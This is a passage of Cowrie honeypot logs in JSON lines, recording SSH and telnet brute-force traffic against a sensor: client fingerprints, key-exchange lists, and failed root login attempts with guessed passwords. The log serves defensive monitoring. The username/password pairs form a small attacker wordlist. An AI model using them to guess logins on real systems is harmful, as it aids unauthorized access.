{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:06.930604Z","src_ip":"217.154.42.110","session":"97e213b356ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tototo","message":"login attempt [root/tototo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:07.280268Z","src_ip":"217.154.42.110","session":"97e213b356ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:08.363964Z","src_ip":"217.154.42.110","session":"97e213b356ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.106.207","src_port":48394,"dst_ip":"159.203.135.109","dst_port":22,"session":"335b1efdb4cf","protocol":"ssh","message":"New connection: 43.128.106.207:48394 (159.203.135.109:22) [session: 335b1efdb4cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:11.714174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:11.718814Z","src_ip":"43.128.106.207","session":"335b1efdb4cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.144.95.137","src_port":42276,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f1a2a5c2f26","protocol":"ssh","message":"New connection: 168.144.95.137:42276 (10.17.0.5:22) [session: 6f1a2a5c2f26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:11.781769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:11.787443Z","src_ip":"168.144.95.137","session":"6f1a2a5c2f26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:11.968722Z","src_ip":"43.128.106.207","session":"335b1efdb4cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:11.998138Z","src_ip":"168.144.95.137","session":"6f1a2a5c2f26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:12.870548Z","src_ip":"168.144.95.137","session":"6f1a2a5c2f26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"neo123","message":"login attempt [root/neo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:12.986028Z","src_ip":"43.128.106.207","session":"335b1efdb4cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37598,"dst_ip":"10.17.0.5","dst_port":23,"session":"09fc11e3720d","protocol":"telnet","message":"New connection: 192.119.13.58:37598 (10.17.0.5:23) [session: 09fc11e3720d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:13.820905Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:14.083805Z","src_ip":"168.144.95.137","session":"6f1a2a5c2f26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:14.235273Z","src_ip":"43.128.106.207","session":"335b1efdb4cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":33218,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe169d78245b","protocol":"ssh","message":"New connection: 185.236.22.41:33218 (159.203.135.109:22) [session: fe169d78245b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:17.752678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:17.759114Z","src_ip":"185.236.22.41","session":"fe169d78245b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:17.881867Z","src_ip":"185.236.22.41","session":"fe169d78245b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:18.237411Z","src_ip":"185.236.22.41","session":"fe169d78245b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:19.358057Z","src_ip":"185.236.22.41","session":"fe169d78245b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":47430,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc47e2dfee96","protocol":"ssh","message":"New connection: 103.27.238.116:47430 (159.203.135.109:22) [session: bc47e2dfee96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:21.121438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:21.126623Z","src_ip":"103.27.238.116","session":"bc47e2dfee96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:21.395657Z","src_ip":"103.27.238.116","session":"bc47e2dfee96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.104.184","src_port":51942,"dst_ip":"159.203.135.109","dst_port":22,"session":"7732a00c684a","protocol":"ssh","message":"New connection: 43.134.104.184:51942 (159.203.135.109:22) [session: 7732a00c684a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:22.120954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:22.125264Z","src_ip":"43.134.104.184","session":"7732a00c684a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1111qqqq","message":"login attempt [root/1111qqqq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:22.202171Z","src_ip":"103.27.238.116","session":"bc47e2dfee96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:22.363494Z","src_ip":"43.134.104.184","session":"7732a00c684a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.49.246.176","src_port":60154,"dst_ip":"159.203.135.109","dst_port":22,"session":"f71afc63b80d","protocol":"ssh","message":"New connection: 69.49.246.176:60154 (159.203.135.109:22) [session: f71afc63b80d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:22.895985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:22.906595Z","src_ip":"69.49.246.176","session":"f71afc63b80d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:22.929403Z","src_ip":"69.49.246.176","session":"f71afc63b80d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"young","message":"login attempt [root/young] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:23.082662Z","src_ip":"69.49.246.176","session":"f71afc63b80d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"subsonic","message":"login attempt [root/subsonic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:23.347200Z","src_ip":"43.134.104.184","session":"7732a00c684a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:23.474366Z","src_ip":"103.27.238.116","session":"bc47e2dfee96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:24.115779Z","src_ip":"69.49.246.176","session":"f71afc63b80d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:24.587761Z","src_ip":"43.134.104.184","session":"7732a00c684a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.243.24.124","src_port":44772,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b0a076c5d7a","protocol":"ssh","message":"New connection: 103.243.24.124:44772 (10.17.0.5:22) [session: 0b0a076c5d7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:30.015438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:30.024895Z","src_ip":"103.243.24.124","session":"0b0a076c5d7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:30.237265Z","src_ip":"103.243.24.124","session":"0b0a076c5d7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pencil123","message":"login attempt [root/pencil123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:30.660362Z","src_ip":"103.243.24.124","session":"0b0a076c5d7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:31.873355Z","src_ip":"103.243.24.124","session":"0b0a076c5d7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":42126,"dst_ip":"10.17.0.5","dst_port":22,"session":"6900e1c60445","protocol":"ssh","message":"New connection: 185.40.30.168:42126 (10.17.0.5:22) [session: 6900e1c60445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:42.117225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:42.123124Z","src_ip":"185.40.30.168","session":"6900e1c60445","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 